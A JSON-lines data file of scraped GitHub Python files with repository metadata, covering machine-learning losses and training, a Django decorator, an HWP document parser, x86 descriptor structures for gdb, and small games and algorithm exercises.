+{"seq_id":"6508012302","text":"import asyncio\n\n\ndef fire(task, *args, **kwargs):\n    asyncio.set_event_loop(asyncio.new_event_loop())\n    loop = asyncio.get_event_loop()\n    if callable(task):\n        return loop.run_in_executor(None, task, *args, **kwargs)\n    else:    \n        raise TypeError(\"This task isn't callable\")\n\n\n","repo_name":"SaturnR/robocar","sub_path":"asyncit.py","file_name":"asyncit.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"13957297577","text":"class DataForMeetup:\n    def __init__(self):\n        self.title = \"meetup\"\n        self.text =\"Its' a must attend meetup\"\n        self.tags = \"coding,python\"\n        self.name = \"Kathait\"\n        self.number = \"9087654321\"\n        self.email = \"testmail@atg.com\"\n        self.venue = \"Hamilton, ON, Canada\"\n        self.price_for_single_ticket = \"200\"\n        self.multi_category1 = \"hackathon\"\n        self.description_multi_category1 = \"a hackathon\"\n        self.price_category1 = \"400\"\n        self.multi_category2 = \"codathon\"\n        self.description_multi_category2 = \"a codathon\"\n        self.price_category2 = \"600\"","repo_name":"qaninjas/Python_Selenium_Automation","sub_path":"data/data_for_meetup.py","file_name":"data_for_meetup.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"30305081160","text":"from template import *\n\n# Configuration\nlevel = {\n    \"level\": \"Level 11\",\n    \"new_symbols\": \"BP\",\n    \"new_label\": \"BP\",\n    \"all_label\": \"ETASILONUDRHMFWGCY.,BP\",\n    \"length_unit\": 5,\n    \"num_units_tutorial\": 5,\n    \"num_units_all\": 7,\n}\n\ngenerate_level(level)\n","repo_name":"aliceheiman/morse-trainer","sub_path":"pages/15_Level_11.py","file_name":"15_Level_11.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
+{"seq_id":"72305777423","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\n\n\ndef one_hot(x, class_count):\n    return torch.eye(class_count)[x, :]\n\n\nclass GHMLoss(nn.Module):\n    def __init__(self, bins, alpha):\n        super(GHMLoss, self).__init__()\n        self._bins = bins\n        self._alpha = alpha\n        self._last_bin_count = None\n\n    def _g2bin(self, g):\n        return torch.floor(g * (self._bins - 0.0001)).long()\n\n    def _custom_loss(self, x, target, weight):\n        raise NotImplementedError\n\n    def _custom_loss_grad(self, x, target):\n        raise NotImplementedError\n\n    def forward(self, x, target):\n        g = torch.abs(self._custom_loss_grad(x, target)).detach()\n\n        bin_idx = self._g2bin(g)\n\n        bin_count = torch.zeros((self._bins))\n        for i in range(self._bins):\n            bin_count[i] = (bin_idx == i).sum().item()\n\n        N = (x.size(0) * x.size(1))\n\n        if self._last_bin_count is None:\n            self._last_bin_count = bin_count\n        else:\n            bin_count = self._alpha * self._last_bin_count + (1 - self._alpha) * bin_count\n            self._last_bin_count = bin_count\n\n        nonempty_bins = (bin_count > 0).sum().item()\n\n        gd = bin_count * nonempty_bins\n        gd = torch.clamp(gd, min=0.0001)\n        beta = N / gd\n\n        return self._custom_loss(x, target, beta[bin_idx])\n\n\nclass GHMCLoss(GHMLoss):\n    def __init__(self, bins, alpha):\n        super(GHMCLoss, self).__init__(bins, alpha)\n\n    def _custom_loss(self, x, target, weight):\n        return F.binary_cross_entropy_with_logits(x, target, weight=weight)\n\n    def _custom_loss_grad(self, x, target):\n        return torch.sigmoid(x).detach() - target\n\n\nclass GHMRLoss(GHMLoss):\n    def __init__(self, bins, alpha, mu):\n        super(GHMRLoss, self).__init__(bins, alpha)\n        self._mu = mu\n\n    def _custom_loss(self, x, target, weight):\n        d = x - target\n        mu = self._mu\n        loss = torch.sqrt(d * d + mu * mu) - mu\n        N = x.size(0) * x.size(1)\n        return (loss * weight).sum() / N\n\n    def _custom_loss_grad(self, x, target):\n        d = x - target\n        mu = self._mu\n        return d / torch.sqrt(d * d + mu * mu)\n\n\nclass GHMCELoss(GHMLoss):\n    def __init__(self, bins, alpha):\n        super(GHMCELoss, self).__init__(bins, alpha)\n\n    def _custom_loss(self, x, target, weight):\n        target = target.view(-1, 1)\n        log_prob = F.log_softmax(x, dim=1)\n        log_prob = log_prob.gather(1, target)\n        weight = weight.to(log_prob.device)\n        weighted_loss = torch.mean(-log_prob * weight)\n        return weighted_loss\n\n    def _custom_loss_grad(self, x, target):\n        prob = F.softmax(x, dim=1)\n        expect = one_hot(target, x.size(1)).to(prob.device)\n        grad = (prob - expect).mean(dim=1)\n        return grad\n\n\nif __name__ == '__main__':\n    loss_fct = GHMCELoss(bins=10, alpha=1)\n    a = torch.tensor([[0., 50000, -5], [1., 0.5, 0.]])\n    b = torch.tensor([1, 2])\n    loss = loss_fct(x=a, target=b)\n","repo_name":"haoranchen06/htrans","sub_path":"utility/loss/ghm_loss.py","file_name":"ghm_loss.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"2051787830","text":"\nimport llia.gui.tk.tk_factory as factory\nfrom llia.gui.tk.tk_subeditor import TkSubEditor\nfrom llia.gui.tk.addsr_editor import ADDSREditor\n\n\n\nclass TkFm2EnvEditor(TkSubEditor):\n\n\n    NAME = \"Env\"\n    IMAGE_FILE = \"resources/FM2/env_editor.png\"\n    TAB_FILE = \"resources/Tabs/adsr.png\"\n    \n    def __init__(self,editor):\n        frame = editor.create_tab(self.NAME, self.TAB_FILE)\n        frame.config(background=factory.bg())\n        canvas = factory.canvas(frame, 1000, 650, self.IMAGE_FILE)\n        canvas.pack()\n        self.canvas = canvas\n        self.editor = editor\n        TkSubEditor.__init__(self, canvas, editor, self.NAME)\n        editor.add_child_editor(self.NAME, self)\n        y0 = 25       \n        x0 = 75\n        dx = 200\n        size = (900,dx)\n        for i,prefix in enumerate((\"op2\",\"efx\",\"op1\")):\n            paramlist = []\n            for p in (\"Attack\",\"Decay1\",\"Decay2\",\"Release\",\"Breakpoint\",\n                      \"Sustain\",\"GateHold\"):\n                paramlist.append(\"%s%s\" % (prefix,p))\n            x = x0\n            y = y0+(i*dx)\n            ed = ADDSREditor(canvas,i,(x,y),size,paramlist,editor)\n            self.add_child_editor(prefix,ed)\n            ed.sync()\n        \n","repo_name":"plewto/Llia","sub_path":"llia/synths/fm2/tk/env_editor.py","file_name":"env_editor.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"47"}
+{"seq_id":"16233936039","text":"import os\r\nimport numpy as np\r\nimport cv2\r\nfrom glob import glob\r\nfrom sklearn.utils import shuffle\r\nimport tensorflow as tf\r\nfrom tensorflow.keras.callbacks import ModelCheckpoint, CSVLogger, ReduceLROnPlateau, EarlyStopping, TensorBoard\r\nfrom tensorflow.keras.optimizers import Adam\r\nfrom tensorflow.keras.metrics import Recall, Precision\r\nfrom unet import UNet\r\nfrom metrics_value import dice_loss, dice_coef,iou\r\n\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\n\r\ndef create_directory(path):\r\n    if not os.path.exists(path):\r\n        os.makedirs(path)\r\n        \r\ndef load_data(path):\r\n    x=sorted(glob(os.path.join(path,\"images\", \"*.jpg\")))\r\n    y=sorted(glob(os.path.join(path,\"groundtruth\", \"*.jpg\")))\r\n    return x,y\r\n\r\ndef shuffling(x,y): #numpy shuffling\r\n    x,y=shuffle(x,y,random_state=42)\r\n    return x,y\r\n\r\ndef read_image(path):\r\n    path=path.decode()\r\n    x=cv2.imread(path, cv2.IMREAD_COLOR)\r\n    x=x/255.0\r\n    x=x.astype(np.float32)\r\n    return x\r\n\r\ndef read_groundtruth(path):\r\n    path=path.decode()\r\n    x=cv2.imread(path, cv2.IMREAD_GRAYSCALE)\r\n    x=x/255.0\r\n    x=x.astype(np.float32)\r\n    x=np.expand_dims(x,axis=-1)\r\n    return x\r\n\r\ndef tf_parse(x,y):\r\n    def parse(x,y):\r\n        x=read_image(x)\r\n        y=read_groundtruth(y)\r\n        \r\n        return x,y\r\n    \r\n    x,y=tf.numpy_function(parse,[x,y],[tf.float32,tf.float32])\r\n    x.set_shape([256,256,3])\r\n    y.set_shape([256,256,1])\r\n    \r\n    return x,y\r\n\r\ndef tf_dataset(x,y,batch_size=2):\r\n    dataset= tf.data.Dataset.from_tensor_slices((x,y))\r\n    dataset = dataset.map(tf_parse)\r\n    dataset = dataset.batch(batch_size)\r\n    dataset = dataset.prefetch(4)\r\n    \r\n    return dataset\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    \r\n    create_directory(\"file\")\r\n    \r\n    batch=10\r\n    lr= 1e-4\r\n    epochs=100\r\n    model_path=os.path.join(\"files\",\"model.h5\")\r\n    path_csv=os.path.join(\"files\",\"dataset.csv\")\r\n    \r\n    dataset_path =\"resized\"\r\n    train_path=os.path.join(dataset_path,\"train\") \r\n    valid_path=os.path.join(dataset_path,\"test\")\r\n    \r\n    xtrain,ytrain=load_data(train_path)\r\n    xtrain,ytrain=shuffling(xtrain,ytrain) #shuffling the datas\r\n    \r\n    xvalid,yvalid=load_data(valid_path)\r\n    xvalid,yvalid=shuffling(xvalid,yvalid)\r\n    \r\n    print(len(xvalid),len(yvalid),len(xtrain),len(ytrain))\r\n    \r\n    train_dataset = tf_dataset(xtrain,ytrain,batch_size=batch)\r\n    valid_dataset = tf_dataset(xvalid,yvalid,batch_size=batch)\r\n    \r\n    train_steps=len(xtrain)//batch\r\n    valid_steps=len(xvalid)//batch\r\n    \r\n    if len(xtrain) % batch !=0:\r\n        train_steps +=1\r\n    \r\n    if len(xvalid) % batch !=0:\r\n        valid_steps +=1  \r\n        \r\n    model = UNet((256,256,3))\r\n    model.compile(loss=dice_loss,optimizer=Adam(lr),metrics=[dice_coef,iou,Recall(),Precision()])\r\n    #model.summary()\r\n    \r\n    callbacks = [\r\n        ModelCheckpoint(model_path,verbose=1,save_best_only=True),\r\n        ReduceLROnPlateau(monitor=\"val_loss\",factor=0.1,patience=5,min_lr=1e-6,verbose=1),\r\n        CSVLogger(path_csv),\r\n        TensorBoard(),\r\n        EarlyStopping(monitor=\"val_loss\",patience =10,restore_best_weights=False)\r\n        ]\r\n    \r\n    model.fit(train_dataset,\r\n              epochs=5,\r\n              validation_data=valid_dataset,\r\n              steps_per_epoch=train_steps,\r\n              validation_steps=valid_steps,\r\n              callbacks=callbacks)","repo_name":"NaveenBJacob/Retinal-segmentation","sub_path":"train_unet.py","file_name":"train_unet.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"33490186504","text":"from django.shortcuts import redirect\nfrom django.http import JsonResponse\n\n#验证用户是否登录\ndef login_proving(func):\n    def login_fun(request,*args,**kwargs):\n        #逻辑 判断当前用户是否登录\n        if request.session.has_key(\"_auth_user_id\"):\n            #将结果返回\n            return func(request,*args,**kwargs)\n        else:\n            #异步请求\n            if request.is_ajax():\n                return JsonResponse({'islogin':0})\n            else:\n                return redirect('/user/login/')\n    return login_fun","repo_name":"panrenjie123/muxue_shop","sub_path":"yishuwang/df_user/decorator.py","file_name":"decorator.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"17302121437","text":"import pandas as pd\nimport numpy as np\nimport re\nimport nltk\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.linear_model import PassiveAggressiveClassifier, SGDClassifier\nfrom sklearn.naive_bayes import MultinomialNB, BernoulliNB\nfrom sklearn import metrics\nnltk.download('stopwords')\nnltk.download('wordnet')\n\nfrom langdetect import detect\nfrom googletrans import Translator\nfrom gensim.models import Word2Vec\n\n# Creating DataFrames for training and testing\ntrainData = pd.read_csv(\"data/mediaeval-2015-trainingset.txt\", sep=\"\t\")\ntestData = pd.read_csv(\"data/mediaeval-2015-testset.txt\", sep=\"\t\")\ndf_train = pd.DataFrame(data=trainData)\ndf_test = pd.DataFrame(data=testData)\n\n\n# Data Characterization\nprint(trainData.head())\n# print(trainData.info())  # Metadata of training data, including size\n# print(df_test.shape)  # Size of testing data\n\ndf_train.rename(columns = {'imageId(s)':'imgs'}, inplace = True)\nimgCount = df_train.groupby(df_train.imgs.str.split('_').str[0])['tweetId'].nunique()\n# print (imgCount)\n\n#Removing remaining twitter handles @username\ndf_train['tweetText'] = df_train['tweetText'].apply(lambda text: re.sub(r'@\\w*', \"\", text))\n\n#Removing emojis\nemojis = re.compile(\"[\"\n                    u\"\\U0001F600-\\U0001F64F\"\n                    u\"\\U0001F300-\\U0001F5FF\"\n                    u\"\\U0001F680-\\U0001F6FF\"\n                    u\"\\U0001F1E0-\\U0001F1FF\"\n                    u\"\\U00002702-\\U000027B0\"\n                    u\"\\U000024C2-\\U0001F251\"\n                    \"]+\", flags=re.UNICODE)\n\ndf_train['tweetText'] = df_train['tweetText'].apply(lambda text: emojis.sub(r'', text) if emojis.search(text) else text)\n\n#Cleaning symbols - ampersand and newline\ndf_train['tweetText'] = df_train['tweetText'].apply(lambda text: re.sub(r'&amp;|\\\\n', '', text))\n\n#Removing urls\ndf_train['tweetText'] = df_train['tweetText'].apply(lambda text: re.sub(r'http\\S+', '', text))\ndf_train['tweetText'] = df_train['tweetText'].apply(lambda text: re.sub(r'\\\\\\/\\S+', '', text))\n\n#Removing whitespace\ndf_train['tweetText'] = df_train['tweetText'].apply(lambda text: \" \".join(text.split()))\n\n#Changing 'humor' to 'fake'\ndf_train.loc[(df_train.label == 'humor'),'label'] = 'fake'\ndf_test.loc[(df_test.label == 'humor'),'label'] = 'fake'\n\n# Initialise stopwords\nstopwords = nltk.corpus.stopwords.words()\nstopwords.extend([':', ';', '[', ']', '\"', \"'\", '(', ')', '.', '?', '#', '@', '...'])\n\n#Removing stopwords\ndf_train['filteredTweet'] = [' '.join(w for w in tweet.split() if w not in stopwords) for tweet in df_train['tweetText']]\n\n#Lemmatising\ntokeniser = nltk.tokenize.WhitespaceTokenizer()\nlemmatiser = nltk.stem.WordNetLemmatizer()\n\ndf_train['lemmatisedTweet'] = df_train['filteredTweet'].apply(lambda x: ' '.join([lemmatiser.lemmatize(w) for w in tokeniser.tokenize(x)]))\n# print(df_train.head(10))\n\ntar_train = df_train.label\nft_train = df_train.lemmatisedTweet\ntar_test = df_test.label\nft_test = df_test.tweetText\n\n#Init Bag-of-Words\ncount_vectoriser = CountVectorizer(stop_words='english')\ncount_train = count_vectoriser.fit_transform(ft_train)\ncount_test = count_vectoriser.transform(ft_test)\n\nclf = MultinomialNB()\n\n#Bag-of-Words\n# clf.fit(count_train, tar_train)\n# pred = clf.predict(count_test)\n# score = metrics.accuracy_score(tar_test, pred)\n# print(\"accuracy:   %0.3f\" % score)\n\n# #Calculating F1 score\n# TP = 0 \n# FP = 0\n# TN = 0\n# FN = 0\n\n# for true, guess in zip(tar_test, pred):\n#     if(true == 'fake' and guess == 'fake'):\n#         TP = TP + 1\n#     if(true == 'real' and guess == 'fake'):\n#         FP = FP + 1\n#     if(true == 'real' and guess == 'real'):\n#         TN = TN + 1\n#     if(true == 'fake' and guess == 'real'):\n#         FN = FN + 1\n        \n# precision = TP / (TP + FP)\n# recall = TP / (TP + FN)\n\n# f1 = 2 * ((precision * recall) / (precision + recall))\n# print(\"TP: %d FP: %d TN: %d FN: %d\" % (TP, FP, TN, FN))\n# print(\"f1: %0.3f\" % f1)\n","repo_name":"saarujan1/comp3222","sub_path":"bla.py","file_name":"bla.py","file_ext":"py","file_size_in_byte":3917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"34651292580","text":"from collections import deque\n\ndef binary(n):\n    if n == 1:\n        return '0001'\n    answer = ''\n    while n // 2 >= 1:\n        remain = n % 2\n        n = n // 2\n        answer = str(remain) + answer\n        if n < 2:\n            answer = str(n) + answer\n    while len(answer) < 4:\n        answer = '0' + answer\n    return answer\n\ndef is_range(y, x):\n    if y < 0 or y > N-1 or x < 0 or x > M-1:\n        return False\n    return True\n\ndef bfs(y, x):\n    now_room_size = 0\n    def find_room(y, x):\n        for k in range(4):\n            if board[y][x][k] == '0':\n                ty = y + dy[k]\n                tx = x + dx[k]\n                if is_range(ty, tx) and not visit[ty][tx]:\n                    visit[ty][tx] = room_cnt\n                    Q.append((ty, tx))\n    Q = deque()\n    Q.append((y, x))\n    visit[y][x] = room_cnt\n    while Q:\n        yy, xx = Q.popleft()\n        find_room(yy, xx)\n        now_room_size += 1\n    return now_room_size\n\ndef break_wall(n, y, x):\n    Q = deque()\n    Q.append((y, x))\n    visit2 = [[0 for _ in range(M)] for _ in range(N)]\n    visit2[y][x] = 1\n    near_room = set()\n    while Q:\n        yy, xx = Q.popleft()\n        for i in range(4):\n            ty = yy + dy[i]\n            tx = xx + dx[i]\n            if ty < 0 or tx < 0 or ty > N-1 or tx > M-1:\n                continue\n            if visit[ty][tx] != n:\n                near_room.add(visit[ty][tx])\n            if visit[ty][tx] == n and not visit2[ty][tx]:\n                visit2[ty][tx] = 1\n                Q.append((ty, tx))\n\n    return list(near_room)\n\nM, N = map(int, input().split())\nboard = []\nfor _ in range(N):\n    board.append(list(map(int, input().split())))\n\ndy = [1, 0, -1, 0]\ndx = [0, 1, 0, -1]\n\nfor y in range(N):\n    for x in range(M):\n        board[y][x] = binary(board[y][x])\n\nvisit = [[0 for _ in range(M)] for _ in range(N)]\n\nroom_cnt = 0\nroom_size = 0\nroom_info = dict()\nenter_room = []\nfor y in range(N):\n    for x in range(M):\n        if not visit[y][x]:\n            room_cnt += 1\n            enter_room.append((room_cnt, y, x))\n            now_room_size = bfs(y, x)\n            room_info[room_cnt] = now_room_size\n            room_size = max(room_size, now_room_size)\n\n\n\nbreak_wall_size = 0\nfor room_number, y, x in enter_room:\n    near_room = break_wall(room_number, y, x)\n    for near_number in near_room:\n        break_wall_size = max(break_wall_size, room_info[room_number] + room_info[near_number])\n\nprint(room_cnt)\nprint(room_size)\nprint(break_wall_size)","repo_name":"potomatoo/TIL","sub_path":"Baekjoon/boj_2234_성곽.py","file_name":"boj_2234_성곽.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"3848401234","text":"from structure.hwp.hwp_record import HWPRecord\nfrom structure.hwp.hwptag_binData import HWPTAG_binData\nfrom io import BytesIO\nfrom common.errors import *\nclass HWPDocInfo:\n    HWPTAG_BEGIN = 0x10\n    HWPTAG_ID_BINDATA = HWPTAG_BEGIN + 2\n    HWPTAG_DISTRIBUTE_DOC_DATA = HWPTAG_BEGIN + 12\n\n    def __init__(self, ole_container) -> None:\n        self.ole_container = ole_container\n        self.docinfo_stream = self.ole_container.get_dir_entry_by_name('DocInfo')\n        if not self.docinfo_stream:\n            StreamNotFoundError\n        self.hwptag_bindatas = []\n        self.records = {}\n        pass\n\n    def parse(self):\n        stream = BytesIO(self.docinfo_stream.get_decompressed_stream())\n        while True:\n            new_hwp_record = HWPRecord()\n            res = new_hwp_record.parse(stream)\n            if new_hwp_record.header.tag_id not in self.records:\n                self.records[new_hwp_record.header.tag_id] = [new_hwp_record]\n            else:\n                self.records[new_hwp_record.header.tag_id].append(new_hwp_record)\n            if not res:\n                break\n        self.parse_hwptag_bindata()\n\n    def parse_hwptag_bindata(self):\n        hwptag_bindatas = self.records[HWPDocInfo.HWPTAG_ID_BINDATA]\n        for hwptag_bindata in hwptag_bindatas:\n            hwptag_bindata_binary = HWPTAG_binData(hwptag_bindata.payload)\n            self.hwptag_bindatas.append(hwptag_bindata_binary)\n\n","repo_name":"orca-eaa5a/dokkaebi_scanner","sub_path":"pyhwpscan/structure/hwp/hwp_docinfo.py","file_name":"hwp_docinfo.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"27671318236","text":"from rally import consts\nfrom rally.plugins.openstack import scenario\nfrom rally.plugins.openstack.scenarios.mistral import utils\nfrom rally.task import types\nfrom rally.task import validation\n\n\nclass MistralWorkbooks(utils.MistralScenario):\n    \"\"\"Benchmark scenarios for Mistral workbook.\"\"\"\n\n    @validation.required_clients(\"mistral\")\n    @validation.required_openstack(users=True)\n    @validation.required_services(consts.Service.MISTRAL)\n    @scenario.configure()\n    def list_workbooks(self):\n        \"\"\"Scenario test mistral workbook-list command.\n\n        This simple scenario tests the Mistral workbook-list\n        command by listing all the workbooks.\n        \"\"\"\n        self._list_workbooks()\n\n    @types.set(definition=types.FileType)\n    @validation.file_exists(\"definition\")\n    @validation.required_parameters(\"definition\")\n    @validation.required_clients(\"mistral\")\n    @validation.required_openstack(users=True)\n    @validation.required_services(consts.Service.MISTRAL)\n    @scenario.configure(context={\"cleanup\": [\"mistral\"]})\n    def create_workbook(self, definition, do_delete=False):\n        \"\"\"Scenario tests workbook creation and deletion.\n\n        This scenario is a very useful tool to measure the\n        \"mistral workbook-create\" and \"mistral workbook-delete\"\n        commands performance.\n        :param definition: string (yaml string) representation of given\n                           file content (Mistral workbook definition)\n        :param do_delete: if False than it allows to check performance\n                          in \"create only\" mode.\n        \"\"\"\n        wb = self._create_workbook(definition)\n\n        if do_delete:\n            self._delete_workbook(wb.name)\n","repo_name":"noah8713/rally-ovs","sub_path":"rally/plugins/openstack/scenarios/mistral/workbooks.py","file_name":"workbooks.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
+{"seq_id":"32340267993","text":"import cstruct\n\nclass mem_map:\n    \"\"\"\n    Stores virt->phy map\n    Structure is a dict of :\n        addr => (start, end, physical address of start, physical end)\n    each referenced page should be added like this :\n        start => (start, end)\n        end => (start, end)\n    Adjacent pages are merged in add_page if physical \n    addresses are adjacent too\n    \"\"\"\n    def __init__(self):\n        self.p = {}\n        self.np = {}\n\n    def add_page(self, m, new_page_addr, size, new_page_phy=None):\n        new_page_end = new_page_addr+size\n        if not new_page_phy:\n            new_page_phy = new_page_addr\n        new_phy_end = new_page_phy+size\n\n        # Default case\n        new_r = (new_page_addr, new_page_end, new_page_phy, new_phy_end)\n\n        # Check if adjacent :\n        if new_page_addr in m:\n            # print \"Found start in m \" +repr(m[new_page_addr])\n            # addr equals previous page end\n            # => coallesce with previous\n            if new_page_addr == m[new_page_addr][1]:\n                # check if physical is also adjacent with previous end\n                if new_page_phy == m[new_page_addr][3] :\n                    new_r = (m[new_page_addr][0], new_page_end, m[new_page_addr][2], new_phy_end)\n                    del m[new_page_addr] # delete old \"end\"\n            else:\n                raise Exception(\"Page already present !\")\n        elif new_page_end in m:\n            # print \"Found end in m :\"+repr(m[new_page_end])\n            # End of new page is equal to present page addr\n            # merge with next\n            # check if physical is also adjacent :\n            if new_page_end == m[new_page_end][2]:\n                new_r = (new_page_addr, m[new_page_end][1], new_page_phy, m[new_page_end][3])\n                del m[new_page_end] # delete start of old page\n\n        # Add new entry\n        m[new_r[0]] = new_r\n        m[new_r[1]] = new_r\n\n    def add_page_present(self, addr, size, phy=None):\n        self.add_page(self.p, addr, size, phy)\n\n    def add_page_4k_not_present(self, addr):\n        self.add_page(self.np, addr, 4096)\n\n    def prt(self):\n        s = set(self.p.values())\n        \n        for r in sorted(list(s), key = lambda m: m[0]):\n            print(\"%08x-%08x => (%08x-%08x)\" % r)\n\nclass segment_desc:\n    def __init__(self, val):\n        self.desc = val\n\n        self.base = (self.desc >> 16)&0xFFFFFF\n        self.base |= ((self.desc >> (32+24))&0xFFF)<<24;\n\n        self.limit = self.desc & 0xFFFF;\n        self.limit |= ((self.desc >> 32+16)&0xF)<<16;\n\n        self.type = (self.desc >> (32+8))&0xF;\n\n        self.s = (self.desc >> (32+12))&1;\n        self.dpl = (self.desc >> (32+13))&3;\n        self.p = (self.desc >> (32+15))&1;\n        self.avl = (self.desc >> (32+20))&1;\n        self.l = (self.desc >> (32+21))&1;\n        self.db = (self.desc >> (32+22))&1;\n        self.g = (self.desc >> (32+23))&1;\n\n        self.limit *= 4096 if self.g else 1\n\n    def is_tss(self):\n        if self.s == 0 and (self.type == 9 or self.type == 11):\n            return True\n        else:\n            return False\n\n    def type_str(self):\n        if (self.type>>3)&1:\n            # code\n            s = \"C\" if (self.type>>2)&1 else \"c\"\n            s += \"R\" if (self.type>>1)&1 else \"r\"\n            s += \"A\" if self.type&1 else \"a\"\n            return (\"CODE\", s)\n        else:\n            # data\n            s = \"E\" if (self.type>>2)&1 else \"e\"\n            s += \"W\" if (self.type>>1)&1 else \"w\"\n            s += \"A\" if self.type&1 else \"a\"\n            return (\"DATA\", s)\n\n    def __str__(self):\n        if self.p == 0:\n            return \"Not Present !\"\n        if self.s == 1:\n            # CODE/DATA\n            s = \"DPL : %d Base : %08x Limit : %08x \" % (self.dpl, self.base, self.limit)\n            if self.l == 1 and self.db == 0 :\n                s += \"D/B: 64b \"\n            else:\n                s += \"D/B: %db \" % (16,32)[self.db]\n            s += \"Type: %s\" % \",\".join(self.type_str())\n        else:\n            # System\n            s = \"DPL : %d Base : %08x Limit : %08x \" % (self.dpl, self.base, self.limit)\n            s += \"AVL : %d  \" % self.avl\n            s += \"Type: %s\" % (\"Reserved\", \"16b TSS (A)\", \"LDT\", \"16b TSS (B)\", \"16b Call G\", \"Task Gate\", \"16b Int G\", \"16b Trap G\", \"Reserved\", \"32b TSS (A)\", \"Reserved\", \"32b TSS (B)\", \"32b Call G\", \"Reserved\", \"32b Int G\", \"32b Trap G\")[self.type]\n        return s\n\nclass tss_data(cstruct.CStruct):\n    _fields = [ (\"ptl\", \"u16\"),\n                (\"_\",\"u16\"),\n                (\"esp0\",\"u32\"),\n                (\"ss0\",\"u16\"),\n                (\"_\",\"u16\"),\n                (\"esp1\",\"u32\"),\n                (\"ss1\",\"u16\"),\n                (\"_\",\"u16\"),\n                (\"esp2\",\"u32\"),\n                (\"ss2\",\"u16\"),\n                (\"_\",\"u16\"),\n                (\"cr3\",\"u32\"),\n                (\"eip\",\"u32\"),\n                (\"eflags\",\"u32\"),\n                (\"eax\",\"u32\"),\n                (\"ecx\",\"u32\"),\n                (\"edx\",\"u32\"),\n                (\"ebx\",\"u32\"),\n                (\"esp\",\"u32\"),\n                (\"ebp\",\"u32\"),\n                (\"esi\",\"u32\"),\n                (\"edi\",\"u32\"),\n                (\"es\",\"u16\"),\n                (\"_\",\"u16\"),\n                (\"cs\",\"u16\"),\n                (\"_\",\"u16\"),\n                (\"ss\",\"u16\"),\n                (\"_\",\"u16\"),\n                (\"ds\",\"u16\"),\n                (\"_\",\"u16\"),\n                (\"fs\",\"u16\"),\n                (\"_\",\"u16\"),\n                (\"gs\",\"u16\"),\n                (\"_\",\"u16\"),\n                (\"ldtss\",\"u16\"),\n                (\"t\",\"u16\"),\n                (\"iomap\",\"u16\")]\n    def __str__(self):\n        s = \"Prev : %04x  CR3 : %08x, CS:EIP: %04x:%08x \" % (self.ptl, self.cr3, self.cs, self.eip)\n        s += \"ds : %04x \" % (self.ds)\n        s += \"es : %04x \" % (self.es)\n        s += \"fs : %04x \" % (self.fs)\n        s += \"gs : %04x \" % (self.gs)\n        s += \"ss : %04x \" % (self.ss)\n        return s\n","repo_name":"trou/gdb-x86-sysutils","sub_path":"intel_sys_structs.py","file_name":"intel_sys_structs.py","file_ext":"py","file_size_in_byte":5892,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"}
+{"seq_id":"73067832461","text":"from EnemyAI import EnemyAI\n\n\nclass GameLogic:\n\n    # total turn of the game, %2 = player, %2+1 = computer\n    turn = 0\n\n    def __init__(self, player_board, enemy_board):\n        self.player_board = player_board\n        self.enemy_board = enemy_board\n        self.enemy_AI = EnemyAI(self.enemy_board, 0)\n\n    def make_move(self, x, y):\n        if self.turn % 2 == 0:\n            #player turn\n            self.enemy_board.pin_point_hit(x, y)\n\n        elif self.turn % 2 == 1:\n            # enemy turn\n            point = self.enemy_AI.return_point()\n            self.player_board.pin_point_hit(point.get_x(), point.get_y())\n\n        self.turn += 1\n\n\n","repo_name":"TorzsaCristian/battleship-tkinter","sub_path":"GameLogic.py","file_name":"GameLogic.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"73333915342","text":"class Solution:\n    def addBinary(self, a: str, b: str) -> str:\n        n, m, ans = len(a), len(b), []\n        \n        carry, i, j = 0, n - 1, m - 1\n        while i >= 0 and j >= 0:\n            carry, d = divmod(int(a[i]) + int(b[j]) + carry, 2)\n            ans.append(str(d))\n            i -= 1\n            j -= 1\n        \n        k, c = (i, a) if i >= 0 else (j, b)\n        while k >= 0:\n            carry, d = divmod(int(c[k]) + carry, 2)\n            ans.append(str(d))\n            k -= 1\n        \n        if carry: ans.append(\"1\")\n            \n        return \"\".join(reversed(ans))\n        \n        ","repo_name":"adnanyaqoobvirk/leetcode","sub_path":"67-add-binary/67-add-binary.py","file_name":"67-add-binary.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
